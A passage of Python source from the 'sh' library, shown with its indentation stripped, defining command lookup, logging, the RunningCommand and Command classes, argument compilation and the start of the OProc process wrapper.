# commands will treat the empty list as no arguments, which can be a problem,
# ie:
#
# ls(glob("*.ojfawe"))
#
# ^ will show the contents of your home directory, because it's essentially
# running ls([]) which, as a process, is just "ls".
#
# so we subclass list and monkey patch the glob function. nobody should be the
# wiser, but we'll have results that we can make some determinations on
_old_glob = glob_module.glob
class GlobResults(list):
def __init__(self, path, results):
self.path = path
list.__init__(self, results)
def glob(path, *args, **kwargs):
expanded = GlobResults(path, _old_glob(path, *args, **kwargs))
return expanded
glob_module.glob = glob
def canonicalize(path):
return os.path.abspath(os.path.expanduser(path))
def which(program, paths=None):
""" takes a program name or full path, plus an optional collection of search
paths, and returns the full path of the requested executable. if paths is
specified, it is the entire list of search paths, and the PATH env is not
used at all. otherwise, PATH env is used to look for the program """
def is_exe(file_path):
return (os.path.exists(file_path) and
os.access(file_path, os.X_OK) and
os.path.isfile(os.path.realpath(file_path)))
found_path = None
fpath, fname = os.path.split(program)
# if there's a path component, then we've specified a path to the program,
# and we should just test if that program is executable. if it is, return
if fpath:
program = canonicalize(program)
if is_exe(program):
found_path = program
# otherwise, we've just passed in the program name, and we need to search
# the paths to find where it actually lives
else:
paths_to_search = []
if isinstance(paths, (tuple, list)):
paths_to_search.extend(paths)
else:
env_paths = os.environ.get("PATH", "").split(os.pathsep)
paths_to_search.extend(env_paths)
for path in paths_to_search:
exe_file = os.path.join(canonicalize(path), program)
if is_exe(exe_file):
found_path = exe_file
break
return found_path
def resolve_command_path(program):
path = which(program)
if not path:
# our actual command might have a dash in it, but we can't call
# that from python (we have to use underscores), so we'll check
# if a dash version of our underscore command exists and use that
# if it does
if "_" in program:
path = which(program.replace("_", "-"))
if not path:
return None
return path
def resolve_command(name, baked_args=None):
path = resolve_command_path(name)
cmd = None
if path:
cmd = Command(path)
if baked_args:
cmd = cmd.bake(**baked_args)
return cmd
class Logger(object):
""" provides a memory-inexpensive logger. a gotcha about python's builtin
logger is that logger objects are never garbage collected. if you create a
thousand loggers with unique names, they'll sit there in memory until your
script is done. with sh, it's easy to create loggers with unique names if
we want our loggers to include our command arguments. for example, these
are all unique loggers:
ls -l
ls -l /tmp
ls /tmp
so instead of creating unique loggers, and without sacrificing logging
output, we use this class, which maintains as part of its state, the logging
"context", which will be the very unique name. this allows us to get a
logger with a very general name, eg: "command", and have a unique name
appended to it via the context, eg: "ls -l /tmp" """
def __init__(self, name, context=None):
self.name = name
self.log = logging.getLogger("%s.%s" % (SH_LOGGER_NAME, name))
self.context = self.sanitize_context(context)
def _format_msg(self, msg, *a):
if self.context:
msg = "%s: %s" % (self.context, msg)
return msg % a
@staticmethod
def sanitize_context(context):
if context:
context = context.replace("%", "%%")
return context or ""
def get_child(self, name, context):
new_name = self.name + "." + name
new_context = self.context + "." + context
return Logger(new_name, new_context)
def info(self, msg, *a):
self.log.info(self._format_msg(msg, *a))
def debug(self, msg, *a):
self.log.debug(self._format_msg(msg, *a))
def error(self, msg, *a):
self.log.error(self._format_msg(msg, *a))
def exception(self, msg, *a):
self.log.exception(self._format_msg(msg, *a))
def default_logger_str(cmd, call_args, pid=None):
if pid:
s = "<Command %r, pid %d>" % (cmd, pid)
else:
s = "<Command %r>" % cmd
return s
class RunningCommand(object):
""" this represents an executing Command object. it is returned as the
result of __call__() being executed on a Command instance. this creates a
reference to a OProc instance, which is a low-level wrapper around the
process that was exec'd
this is the class that gets manipulated the most by user code, and so it
implements various convenience methods and logical mechanisms for the
underlying process. for example, if a user tries to access a
backgrounded-process's stdout/err, the RunningCommand object is smart enough
to know to wait() on the process to finish first. and when the process
finishes, RunningCommand is smart enough to translate exit codes to
exceptions. """
# these are attributes that we allow to pass through to OProc
_OProc_attr_whitelist = set((
"signal",
"terminate",
"kill",
"kill_group",
"signal_group",
"pid",
"sid",
"pgid",
"ctty",
"input_thread_exc",
"output_thread_exc",
"bg_thread_exc",
))
def __init__(self, cmd, call_args, stdin, stdout, stderr):
"""
cmd is a list, where each element is encoded as bytes (PY3) or str (PY2)
"""
# self.ran is used for auditing what actually ran. for example, in
# exceptions, or if you just want to know what was ran after the
# command ran
#
# here we're making a consistent unicode string out if our cmd.
# we're also assuming (correctly, i think) that the command and its
# arguments are the encoding we pass into _encoding, which falls back to
# the system's encoding
enc = call_args["encoding"]
self.ran = " ".join([shlex_quote(arg.decode(enc, "ignore")) for arg in cmd])
self.call_args = call_args
self.cmd = cmd
self.process = None
self._waited_until_completion = False
should_wait = True
spawn_process = True
# this is used to track if we've already raised StopIteration, and if we
# have, raise it immediately again if the user tries to call next() on
# us. https://github.com/amoffat/sh/issues/273
self._stopped_iteration = False
# with contexts shouldn't run at all yet, they prepend
# to every command in the context
if call_args["with"]:
spawn_process = False
get_prepend_stack().append(self)
if call_args["piped"] or call_args["iter"] or call_args["iter_noblock"]:
should_wait = False
# we're running in the background, return self and let us lazily
# evaluate
if call_args["bg"]:
should_wait = False
# redirection
if call_args["err_to_out"]:
stderr = OProc.STDOUT
done_callback = call_args["done"]
if done_callback:
call_args["done"] = partial(done_callback, self)
# set up which stream should write to the pipe
# TODO, make pipe None by default and limit the size of the Queue
# in oproc.OProc
pipe = OProc.STDOUT
if call_args["iter"] == "out" or call_args["iter"] is True:
pipe = OProc.STDOUT
elif call_args["iter"] == "err":
pipe = OProc.STDERR
if call_args["iter_noblock"] == "out" or call_args["iter_noblock"] is True:
pipe = OProc.STDOUT
elif call_args["iter_noblock"] == "err":
pipe = OProc.STDERR
# there's currently only one case where we wouldn't spawn a child
# process, and that's if we're using a with-context with our command
self._spawned_and_waited = False
if spawn_process:
log_str_factory = call_args["log_msg"] or default_logger_str
logger_str = log_str_factory(self.ran, call_args)
self.log = Logger("command", logger_str)
self.log.debug("starting process")
if should_wait:
self._spawned_and_waited = True
# this lock is needed because of a race condition where a background
# thread, created in the OProc constructor, may try to access
# self.process, but it has not been assigned yet
process_assign_lock = threading.Lock()
with process_assign_lock:
self.process = OProc(self, self.log, cmd, stdin, stdout, stderr,
self.call_args, pipe, process_assign_lock)
logger_str = log_str_factory(self.ran, call_args, self.process.pid)
self.log.context = self.log.sanitize_context(logger_str)
self.log.info("process started")
if should_wait:
self.wait()
def wait(self, timeout=None):
""" waits for the running command to finish. this is called on all
running commands, eventually, except for ones that run in the background
if timeout is a number, it is the number of seconds to wait for the process to resolve. otherwise block on wait.
this function can raise a TimeoutException, either because of a `_timeout` on the command itself as it was
launched, or because of a timeout passed into this method.
"""
if not self._waited_until_completion:
# if we've been given a timeout, we need to poll is_alive()
if timeout is not None:
waited_for = 0
sleep_amt = 0.1
alive = False
exit_code = None
if timeout < 0:
raise RuntimeError("timeout cannot be negative")
# while we still have time to wait, run this loop
# notice that alive and exit_code are only defined in this loop, but the loop is also guaranteed to run,
# defining them, given the constraints that timeout is non-negative
while waited_for <= timeout:
alive, exit_code = self.process.is_alive()
# if we're alive, we need to wait some more, but let's sleep before we poll again
if alive:
time.sleep(sleep_amt)
waited_for += sleep_amt
# but if we're not alive, we're done waiting
else:
break
# if we've made it this far, and we're still alive, then it means we timed out waiting
if alive:
raise TimeoutException(None, self.ran)
# if we didn't time out, we fall through and let the rest of the code handle exit_code.
# notice that we set _waited_until_completion here, only if we didn't time out. this allows us to
# re-wait again on timeout, if we catch the TimeoutException in the parent frame
self._waited_until_completion = True
else:
exit_code = self.process.wait()
self._waited_until_completion = True
if self.process.timed_out:
# if we timed out, our exit code represents a signal, which is
# negative, so let's make it positive to store in our
# TimeoutException
raise TimeoutException(-exit_code, self.ran)
else:
self.handle_command_exit_code(exit_code)
# if an iterable command is using an instance of OProc for its stdin,
# wait on it. the process is probably set to "piped", which means it
# won't be waited on, which means exceptions won't propagate up to the
# main thread. this allows them to bubble up
if self.process._stdin_process:
self.process._stdin_process.command.wait()
self.log.debug("process completed")
return self
def is_alive(self):
""" returns whether or not we're still alive. this call has side-effects on OProc """
return self.process.is_alive()[0]
def handle_command_exit_code(self, code):
""" here we determine if we had an exception, or an error code that we
weren't expecting to see. if we did, we create and raise an exception
"""
ca = self.call_args
exc_class = get_exc_exit_code_would_raise(code, ca["ok_code"], ca["piped"])
if exc_class:
exc = exc_class(self.ran, self.process.stdout, self.process.stderr, ca["truncate_exc"])
raise exc
@property
def stdout(self):
self.wait()
return self.process.stdout
@property
def stderr(self):
self.wait()
return self.process.stderr
@property
def exit_code(self):
self.wait()
return self.process.exit_code
def __len__(self):
return len(str(self))
def __enter__(self):
""" we don't actually do anything here because anything that should have
been done would have been done in the Command.__call__ call.
essentially all that has to happen is the command be pushed on the
prepend stack. """
pass
def __iter__(self):
return self
def next(self):
""" allow us to iterate over the output of our command """
if self._stopped_iteration:
raise StopIteration()
# we do this because if get blocks, we can't catch a KeyboardInterrupt
# so the slight timeout allows for that.
while True:
try:
chunk = self.process._pipe_queue.get(True, self.call_args["iter_poll_time"])
except Empty:
if self.call_args["iter_noblock"]:
return errno.EWOULDBLOCK
else:
if chunk is None:
self.wait()
self._stopped_iteration = True
raise StopIteration()
try:
return chunk.decode(self.call_args["encoding"], self.call_args["decode_errors"])
except UnicodeDecodeError:
return chunk
# python 3
__next__ = next
def __exit__(self, exc_type, exc_val, exc_tb):
if self.call_args["with"] and get_prepend_stack():
get_prepend_stack().pop()
def __str__(self):
""" in python3, should return unicode. in python2, should return a
string of bytes """
if IS_PY3:
return self.__unicode__()
else:
return unicode(self).encode(self.call_args["encoding"])
def __unicode__(self):
""" a magic method defined for python2. calling unicode() on a
RunningCommand object will call this """
if self.process and self.stdout:
return self.stdout.decode(self.call_args["encoding"], self.call_args["decode_errors"])
elif IS_PY3:
return ""
else:
return unicode("")
def __eq__(self, other):
return unicode(self) == unicode(other)
__hash__ = None # Avoid DeprecationWarning in Python < 3
def __contains__(self, item):
return item in str(self)
def __getattr__(self, p):
# let these three attributes pass through to the OProc object
if p in self._OProc_attr_whitelist:
if self.process:
return getattr(self.process, p)
else:
raise AttributeError
# see if strings have what we're looking for. we're looking at the
# method names explicitly because we don't want to evaluate self unless
# we absolutely have to, the reason being, in python2, hasattr swallows
# exceptions, and if we try to run hasattr on a command that failed and
# is being run with _iter=True, the command will be evaluated, throw an
# exception, but hasattr will discard it
if p in _unicode_methods:
return getattr(unicode(self), p)
raise AttributeError
def __repr__(self):
""" in python3, should return unicode. in python2, should return a
string of bytes """
try:
return str(self)
except UnicodeDecodeError:
if self.process:
if self.stdout:
return repr(self.stdout)
return repr("")
def __long__(self):
return long(str(self).strip())
def __float__(self):
return float(str(self).strip())
def __int__(self):
return int(str(self).strip())
def output_redirect_is_filename(out):
return isinstance(out, basestring)
def get_prepend_stack():
tl = Command.thread_local
if not hasattr(tl, "_prepend_stack"):
tl._prepend_stack = []
return tl._prepend_stack
def special_kwarg_validator(passed_kwargs, merged_kwargs, invalid_list):
s1 = set(passed_kwargs.keys())
invalid_args = []
for elem in invalid_list:
if callable(elem):
fn = elem
ret = fn(passed_kwargs, merged_kwargs)
invalid_args.extend(ret)
else:
elem, error_msg = elem
if s1.issuperset(elem):
invalid_args.append((elem, error_msg))
return invalid_args
def get_fileno(ob):
# in py2, this will return None. in py3, it will return an method that
# raises when called
fileno_meth = getattr(ob, "fileno", None)
fileno = None
if fileno_meth:
# py3 StringIO objects will report a fileno, but calling it will raise
# an exception
try:
fileno = fileno_meth()
except UnsupportedOperation:
pass
elif isinstance(ob, (int, long)) and ob >= 0:
fileno = ob
return fileno
def ob_is_fd_based(ob):
return get_fileno(ob) is not None
def ob_is_tty(ob):
""" checks if an object (like a file-like object) is a tty. """
fileno = get_fileno(ob)
is_tty = False
if fileno is not None:
is_tty = os.isatty(fileno)
return is_tty
def ob_is_pipe(ob):
fileno = get_fileno(ob)
is_pipe = False
if fileno:
fd_stat = os.fstat(fileno)
is_pipe = stat.S_ISFIFO(fd_stat.st_mode)
return is_pipe
def tty_in_validator(passed_kwargs, merged_kwargs):
# here we'll validate that people aren't randomly shotgun-debugging different tty options and hoping that they'll
# work, without understanding what they do
pairs = (("tty_in", "in"), ("tty_out", "out"))
invalid = []
for tty_type, std in pairs:
if tty_type in passed_kwargs and ob_is_tty(passed_kwargs.get(std, None)):
error = "`_%s` is a TTY already, so so it doesn't make sense to set up a TTY with `_%s`" % (std, tty_type)
invalid.append(((tty_type, std), error))
# if unify_ttys is set, then both tty_in and tty_out must both be True
if merged_kwargs["unify_ttys"] and not (merged_kwargs["tty_in"] and merged_kwargs["tty_out"]):
invalid.append((
("unify_ttys", "tty_in", "tty_out"),
"`_tty_in` and `_tty_out` must both be True if `_unify_ttys` is True"
))
return invalid
def fg_validator(passed_kwargs, merged_kwargs):
""" fg is not valid with basically every other option """
invalid = []
msg = """\
_fg is invalid with nearly every other option, see warning and workaround here:
https://amoffat.github.io/sh/sections/special_arguments.html#fg"""
whitelist = set(("env", "fg", "cwd"))
offending = set(passed_kwargs.keys()) - whitelist
if "fg" in passed_kwargs and passed_kwargs["fg"] and offending:
invalid.append(("fg", msg))
return invalid
def bufsize_validator(passed_kwargs, merged_kwargs):
""" a validator to prevent a user from saying that they want custom
buffering when they're using an in/out object that will be os.dup'ed to the
process, and has its own buffering. an example is a pipe or a tty. it
doesn't make sense to tell them to have a custom buffering, since the os
controls this. """
invalid = []
in_ob = passed_kwargs.get("in", None)
out_ob = passed_kwargs.get("out", None)
in_buf = passed_kwargs.get("in_bufsize", None)
out_buf = passed_kwargs.get("out_bufsize", None)
in_no_buf = ob_is_fd_based(in_ob)
out_no_buf = ob_is_fd_based(out_ob)
err = "Can't specify an {target} bufsize if the {target} target is a pipe or TTY"
if in_no_buf and in_buf is not None:
invalid.append((("in", "in_bufsize"), err.format(target="in")))
if out_no_buf and out_buf is not None:
invalid.append((("out", "out_bufsize"), err.format(target="out")))
return invalid
def env_validator(passed_kwargs, merged_kwargs):
""" a validator to check that env is a dictionary and that all environment variable
keys and values are strings. Otherwise, we would exit with a confusing exit code 255. """
invalid = []
env = passed_kwargs.get("env", None)
if env is None:
return invalid
if not isinstance(env, Mapping):
invalid.append(("env", "env must be dict-like. Got {!r}".format(env)))
return invalid
for k, v in passed_kwargs["env"].items():
if not isinstance(k, str):
invalid.append(("env", "env key {!r} must be a str".format(k)))
if not isinstance(v, str):
invalid.append(("env", "value {!r} of env key {!r} must be a str".format(v, k)))
return invalid
class Command(object):
""" represents an un-run system program, like "ls" or "cd". because it
represents the program itself (and not a running instance of it), it should
hold very little state. in fact, the only state it does hold is baked
arguments.
when a Command object is called, the result that is returned is a
RunningCommand object, which represents the Command put into an execution
state. """
thread_local = threading.local()
_call_args = {
"fg": False, # run command in foreground
# run a command in the background. commands run in the background
# ignore SIGHUP and do not automatically exit when the parent process
# ends
"bg": False,
# automatically report exceptions for background commands
"bg_exc": True,
"with": False, # prepend the command to every command after it
"in": None,
"out": None, # redirect STDOUT
"err": None, # redirect STDERR
"err_to_out": None, # redirect STDERR to STDOUT
# stdin buffer size
# 1 for line, 0 for unbuffered, any other number for that amount
"in_bufsize": 0,
# stdout buffer size, same values as above
"out_bufsize": 1,
"err_bufsize": 1,
# this is how big the output buffers will be for stdout and stderr.
# this is essentially how much output they will store from the process.
# we use a deque, so if it overflows past this amount, the first items
# get pushed off as each new item gets added.
#
# NOTICE
# this is not a *BYTE* size, this is a *CHUNK* size...meaning, that if
# you're buffering out/err at 1024 bytes, the internal buffer size will
# be "internal_bufsize" CHUNKS of 1024 bytes
"internal_bufsize": 3 * 1024 ** 2,
"env": None,
"piped": None,
"iter": None,
"iter_noblock": None,
# the amount of time to sleep between polling for the iter output queue
"iter_poll_time": 0.1,
"ok_code": 0,
"cwd": None,
# the separator delimiting between a long-argument's name and its value
# setting this to None will cause name and value to be two separate
# arguments, like for short options
# for example, --arg=derp, '=' is the long_sep
"long_sep": "=",
# the prefix used for long arguments
"long_prefix": "--",
# this is for programs that expect their input to be from a terminal.
# ssh is one of those programs
"tty_in": False,
"tty_out": True,
"unify_ttys": False,
"encoding": DEFAULT_ENCODING,
"decode_errors": "strict",
# how long the process should run before it is auto-killed
"timeout": None,
"timeout_signal": signal.SIGKILL,
# TODO write some docs on "long-running processes"
# these control whether or not stdout/err will get aggregated together
# as the process runs. this has memory usage implications, so sometimes
# with long-running processes with a lot of data, it makes sense to
# set these to true
"no_out": False,
"no_err": False,
"no_pipe": False,
# if any redirection is used for stdout or stderr, internal buffering
# of that data is not stored. this forces it to be stored, as if
# the output is being T'd to both the redirected destination and our
# internal buffers
"tee": None,
# will be called when a process terminates regardless of exception
"done": None,
# a tuple (rows, columns) of the desired size of both the stdout and
# stdin ttys, if ttys are being used
"tty_size": (20, 80),
# whether or not our exceptions should be truncated
"truncate_exc": True,
# a function to call after the child forks but before the process execs
"preexec_fn": None,
# UID to set after forking. Requires root privileges. Not supported on
# Windows.
"uid": None,
# put the forked process in its own process session?
"new_session": True,
# pre-process args passed into __call__. only really useful when used
# in .bake()
"arg_preprocess": None,
# a callable that produces a log message from an argument tuple of the
# command and the args
"log_msg": None,
# whether or not to close all inherited fds. typically, this should be True, as inheriting fds can be a security
# vulnerability
"close_fds": True,
# a whitelist of the integer fds to pass through to the child process. setting this forces close_fds to be True
"pass_fds": set(),
}
# this is a collection of validators to make sure the special kwargs make
# sense
_kwarg_validators = (
(("err", "err_to_out"), "Stderr is already being redirected"),
(("piped", "iter"), "You cannot iterate when this command is being piped"),
(("piped", "no_pipe"), "Using a pipe doesn't make sense if you've disabled the pipe"),
(("no_out", "iter"), "You cannot iterate over output if there is no output"),
(("close_fds", "pass_fds"), "Passing `pass_fds` forces `close_fds` to be True"),
tty_in_validator,
bufsize_validator,
env_validator,
fg_validator,
)
def __init__(self, path, search_paths=None):
found = which(path, search_paths)
self._path = encode_to_py3bytes_or_py2str("")
# is the command baked (aka, partially applied)?
self._partial = False
self._partial_baked_args = []
self._partial_call_args = {}
# bugfix for functools.wraps. issue #121
self.__name__ = str(self)
if not found:
raise CommandNotFound(path)
# the reason why we set the values early in the constructor, and again
# here, is for people who have tools that inspect the stack on
# exception. if CommandNotFound is raised, we need self._path and the
# other attributes to be set correctly, so repr() works when they're
# inspecting the stack. issue #304
self._path = encode_to_py3bytes_or_py2str(found)
self.__name__ = str(self)
def __getattribute__(self, name):
# convenience
get_attr = partial(object.__getattribute__, self)
val = None
if name.startswith("_"):
val = get_attr(name)
elif name == "bake":
val = get_attr("bake")
# here we have a way of getting past shadowed subcommands. for example,
# if "git bake" was a thing, we wouldn't be able to do `git.bake()`
# because `.bake()` is already a method. so we allow `git.bake_()`
elif name.endswith("_"):
name = name[:-1]
if val is None:
val = get_attr("bake")(name)
return val
@staticmethod
def _extract_call_args(kwargs):
""" takes kwargs that were passed to a command's __call__ and extracts
out the special keyword arguments, we return a tuple of special keyword
args, and kwargs that will go to the exec'ed command """
kwargs = kwargs.copy()
call_args = {}
for parg, default in Command._call_args.items():
key = "_" + parg
if key in kwargs:
call_args[parg] = kwargs[key]
del kwargs[key]
merged_args = Command._call_args.copy()
merged_args.update(call_args)
invalid_kwargs = special_kwarg_validator(call_args, merged_args, Command._kwarg_validators)
if invalid_kwargs:
exc_msg = []
for kwarg, error_msg in invalid_kwargs:
exc_msg.append(" %r: %s" % (kwarg, error_msg))
exc_msg = "\n".join(exc_msg)
raise TypeError("Invalid special arguments:\n\n%s\n" % exc_msg)
return call_args, kwargs
# TODO needs documentation
def bake(self, *args, **kwargs):
fn = type(self)(self._path)
fn._partial = True
call_args, kwargs = self._extract_call_args(kwargs)
pruned_call_args = call_args
for k, v in Command._call_args.items():
try:
if pruned_call_args[k] == v:
del pruned_call_args[k]
except KeyError:
continue
fn._partial_call_args.update(self._partial_call_args)
fn._partial_call_args.update(pruned_call_args)
fn._partial_baked_args.extend(self._partial_baked_args)
sep = pruned_call_args.get("long_sep", self._call_args["long_sep"])
prefix = pruned_call_args.get("long_prefix", self._call_args["long_prefix"])
fn._partial_baked_args.extend(compile_args(args, kwargs, sep, prefix))
return fn
def __str__(self):
""" in python3, should return unicode. in python2, should return a
string of bytes """
if IS_PY3:
return self.__unicode__()
else:
return self.__unicode__().encode(DEFAULT_ENCODING)
def __eq__(self, other):
return str(self) == str(other)
__hash__ = None # Avoid DeprecationWarning in Python < 3
def __repr__(self):
""" in python3, should return unicode. in python2, should return a
string of bytes """
return "<Command %r>" % str(self)
def __unicode__(self):
""" a magic method defined for python2. calling unicode() on a
self will call this """
baked_args = " ".join(item.decode(DEFAULT_ENCODING) for item in self._partial_baked_args)
if baked_args:
baked_args = " " + baked_args
return self._path.decode(DEFAULT_ENCODING) + baked_args
def __enter__(self):
self(_with=True)
def __exit__(self, exc_type, exc_val, exc_tb):
get_prepend_stack().pop()
def __call__(self, *args, **kwargs):
kwargs = kwargs.copy()
args = list(args)
# this will hold our final command, including arguments, that will be
# exec'ed
cmd = []
# this will hold a complete mapping of all our special keyword arguments
# and their values
call_args = Command._call_args.copy()
# aggregate any 'with' contexts
for prepend in get_prepend_stack():
pcall_args = prepend.call_args.copy()
# don't pass the 'with' call arg
pcall_args.pop("with", None)
call_args.update(pcall_args)
cmd.extend(prepend.cmd)
cmd.append(self._path)
# do we have an argument pre-processor? if so, run it. we need to do
# this early, so that args, kwargs are accurate
preprocessor = self._partial_call_args.get("arg_preprocess", None)
if preprocessor:
args, kwargs = preprocessor(args, kwargs)
# here we extract the special kwargs and override any
# special kwargs from the possibly baked command
extracted_call_args, kwargs = self._extract_call_args(kwargs)
call_args.update(self._partial_call_args)
call_args.update(extracted_call_args)
# handle a None. this is added back only to not break the api in the
# 1.* version. TODO remove this in 2.0, as "ok_code", if specified,
# should always be a definitive value or list of values, and None is
# ambiguous
if call_args["ok_code"] is None:
call_args["ok_code"] = 0
if not getattr(call_args["ok_code"], "__iter__", None):
call_args["ok_code"] = [call_args["ok_code"]]
# check if we're piping via composition
stdin = call_args["in"]
if args:
first_arg = args.pop(0)
if isinstance(first_arg, RunningCommand):
if first_arg.call_args["piped"]:
stdin = first_arg.process
else:
stdin = first_arg.process._pipe_queue
else:
args.insert(0, first_arg)
processed_args = compile_args(args, kwargs, call_args["long_sep"], call_args["long_prefix"])
# makes sure our arguments are broken up correctly
split_args = self._partial_baked_args + processed_args
final_args = split_args
cmd.extend(final_args)
# if we're running in foreground mode, we need to completely bypass
# launching a RunningCommand and OProc and just do a spawn
if call_args["fg"]:
cwd = call_args["cwd"] or os.getcwd()
with pushd(cwd):
if call_args["env"] is None:
exit_code = os.spawnv(os.P_WAIT, cmd[0], cmd)
else:
exit_code = os.spawnve(os.P_WAIT, cmd[0], cmd, call_args["env"])
exc_class = get_exc_exit_code_would_raise(exit_code, call_args["ok_code"], call_args["piped"])
if exc_class:
if IS_PY3:
ran = " ".join([arg.decode(DEFAULT_ENCODING, "ignore") for arg in cmd])
else:
ran = " ".join(cmd)
exc = exc_class(ran, b"", b"", call_args["truncate_exc"])
raise exc
return None
# stdout redirection
stdout = call_args["out"]
if output_redirect_is_filename(stdout):
stdout = open(str(stdout), "wb")
# stderr redirection
stderr = call_args["err"]
if output_redirect_is_filename(stderr):
stderr = open(str(stderr), "wb")
return RunningCommand(cmd, call_args, stdin, stdout, stderr)
def compile_args(a, kwargs, sep, prefix):
""" takes args and kwargs, as they were passed into the command instance
being executed with __call__, and compose them into a flat list that
will eventually be fed into exec. example:
with this call:
sh.ls("-l", "/tmp", color="never")
this function receives
args = ['-l', '/tmp']
kwargs = {'color': 'never'}
and produces
['-l', '/tmp', '--color=never']
"""
processed_args = []
encode = encode_to_py3bytes_or_py2str
# aggregate positional args
for arg in a:
if isinstance(arg, (list, tuple)):
if isinstance(arg, GlobResults) and not arg:
arg = [arg.path]
for sub_arg in arg:
processed_args.append(encode(sub_arg))
elif isinstance(arg, dict):
processed_args += aggregate_keywords(arg, sep, prefix, raw=True)
# see https://github.com/amoffat/sh/issues/522
elif arg is None or arg is False:
pass
else:
processed_args.append(encode(arg))
# aggregate the keyword arguments
processed_args += aggregate_keywords(kwargs, sep, prefix)
return processed_args
def aggregate_keywords(keywords, sep, prefix, raw=False):
""" take our keyword arguments, and a separator, and compose the list of
flat long (and short) arguments. example
{'color': 'never', 't': True, 'something': True} with sep '='
becomes
['--color=never', '-t', '--something']
the `raw` argument indicates whether or not we should leave the argument
name alone, or whether we should replace "_" with "-". if we pass in a
dictionary, like this:
sh.command({"some_option": 12})
then `raw` gets set to True, because we want to leave the key as-is, to
produce:
['--some_option=12']
but if we just use a command's kwargs, `raw` is False, which means this:
sh.command(some_option=12)
becomes:
['--some-option=12']
essentially, using kwargs is a convenience, but it lacks the ability to
put a '-' in the name, so we do the replacement of '_' to '-' for you.
but when you really don't want that to happen, you should use a
dictionary instead with the exact names you want
"""
processed = []
encode = encode_to_py3bytes_or_py2str
for k, v in keywords.items():
# we're passing a short arg as a kwarg, example:
# cut(d="\t")
if len(k) == 1:
if v is not False:
processed.append(encode("-" + k))
if v is not True:
processed.append(encode(v))
# we're doing a long arg
else:
if not raw:
k = k.replace("_", "-")
if v is True:
processed.append(encode(prefix + k))
elif v is False:
pass
elif sep is None or sep == " ":
processed.append(encode(prefix + k))
processed.append(encode(v))
else:
arg = encode("%s%s%s%s" % (prefix, k, sep, v))
processed.append(arg)
return processed
def _start_daemon_thread(fn, name, exc_queue, *a):
def wrap(*rgs, **kwargs):
try:
fn(*rgs, **kwargs)
except Exception as e:
exc_queue.put(e)
raise
thread = threading.Thread(target=wrap, name=name, args=a)
thread.daemon = True
thread.start()
return thread
def setwinsize(fd, rows_cols):
""" set the terminal size of a tty file descriptor. borrowed logic
from pexpect.py """
rows, cols = rows_cols
winsize = getattr(termios, 'TIOCSWINSZ', -2146929561)
s = struct.pack('HHHH', rows, cols, 0, 0)
fcntl.ioctl(fd, winsize, s)
def construct_streamreader_callback(process, handler):
""" here we're constructing a closure for our streamreader callback. this
is used in the case that we pass a callback into _out or _err, meaning we
want to our callback to handle each bit of output
we construct the closure based on how many arguments it takes. the reason
for this is to make it as easy as possible for people to use, without
limiting them. a new user will assume the callback takes 1 argument (the
data). as they get more advanced, they may want to terminate the process,
or pass some stdin back, and will realize that they can pass a callback of
more args """
# implied arg refers to the "self" that methods will pass in. we need to
# account for this implied arg when figuring out what function the user
# passed in based on number of args
implied_arg = 0
partial_args = 0
handler_to_inspect = handler
if isinstance(handler, partial):
partial_args = len(handler.args)
handler_to_inspect = handler.func
if inspect.ismethod(handler_to_inspect):
implied_arg = 1
num_args = get_num_args(handler_to_inspect)
else:
if inspect.isfunction(handler_to_inspect):
num_args = get_num_args(handler_to_inspect)
# is an object instance with __call__ method
else:
implied_arg = 1
num_args = get_num_args(handler_to_inspect.__call__)
net_args = num_args - implied_arg - partial_args
handler_args = ()
# just the chunk
if net_args == 1:
handler_args = ()
# chunk, stdin
if net_args == 2:
handler_args = (process.stdin,)
# chunk, stdin, process
elif net_args == 3:
# notice we're only storing a weakref, to prevent cyclic references
# (where the process holds a streamreader, and a streamreader holds a
# handler-closure with a reference to the process
handler_args = (process.stdin, weakref.ref(process))
def fn(chunk):
# this is pretty ugly, but we're evaluating the process at call-time,
# because it's a weakref
a = handler_args
if len(a) == 2:
a = (handler_args[0], handler_args[1]())
return handler(chunk, *a)
return fn
def get_exc_exit_code_would_raise(exit_code, ok_codes, sigpipe_ok):
exc = None
success = exit_code in ok_codes
bad_sig = -exit_code in SIGNALS_THAT_SHOULD_THROW_EXCEPTION
# if this is a piped command, SIGPIPE must be ignored by us and not raise an
# exception, since it's perfectly normal for the consumer of a process's
# pipe to terminate early
if sigpipe_ok and -exit_code == signal.SIGPIPE:
bad_sig = False
success = True
if not success or bad_sig:
exc = get_rc_exc(exit_code)
return exc
def handle_process_exit_code(exit_code):
""" this should only ever be called once for each child process """
# if we exited from a signal, let our exit code reflect that
if os.WIFSIGNALED(exit_code):
exit_code = -os.WTERMSIG(exit_code)
# otherwise just give us a normal exit code
elif os.WIFEXITED(exit_code):
exit_code = os.WEXITSTATUS(exit_code)
else:
raise RuntimeError("Unknown child exit status!")
return exit_code
def no_interrupt(syscall, *args, **kwargs):
""" a helper for making system calls immune to EINTR """
ret = None
while True:
try:
ret = syscall(*args, **kwargs)
except OSError as e:
if e.errno == errno.EINTR:
continue
else:
raise
else:
break
return ret
class OProc(object):
""" this class is instantiated by RunningCommand for a command to be exec'd.
it handles all the nasty business involved with correctly setting up the
input/output to the child process. it gets its name for subprocess.Popen
(process open) but we're calling ours OProc (open process) """
_default_window_size = (24, 80)
# used in redirecting
STDOUT = -1
STDERR = -2
def __init__(self, command, parent_log, cmd, stdin, stdout, stderr, call_args, pipe, process_assign_lock):
"""
cmd is the full list of arguments that will be exec'd. it includes the program name and all its arguments.
stdin, stdout, stderr are what the child will use for standard input/output/err.
call_args is a mapping of all the special keyword arguments to apply to the child process.
"""
self.command = command
self.call_args = call_args
# convenience
ca = self.call_args
if ca["uid"] is not None:
if os.getuid() != 0:
raise RuntimeError("UID setting requires root privileges")
target_uid = ca["uid"]
pwrec = pwd.getpwuid(ca["uid"])
target_gid = pwrec.pw_gid
else:
target_uid, target_gid = None, None
# I had issues with getting 'Input/Output error reading stdin' from dd,
# until I set _tty_out=False
if ca["piped"]:
ca["tty_out"] = False
self._stdin_process = None
# if the objects that we are passing to the OProc happen to be a
# file-like object that is a tty, for example `sys.stdin`, then, later
# on in this constructor, we're going to skip out on setting up pipes
# and pseudoterminals for those endpoints
stdin_is_fd_based = ob_is_fd_based(stdin)
stdout_is_fd_based = ob_is_fd_based(stdout)
stderr_is_fd_based = ob_is_fd_based(stderr)
tee_out = ca["tee"] in (True, "out")
tee_err = ca["tee"] == "err"
single_tty = ca["tty_in"] and ca["tty_out"] and ca["unify_ttys"]
# this logic is a little convoluted, but basically this top-level
# if/else is for consolidating input and output TTYs into a single
# TTY. this is the only way some secure programs like ssh will
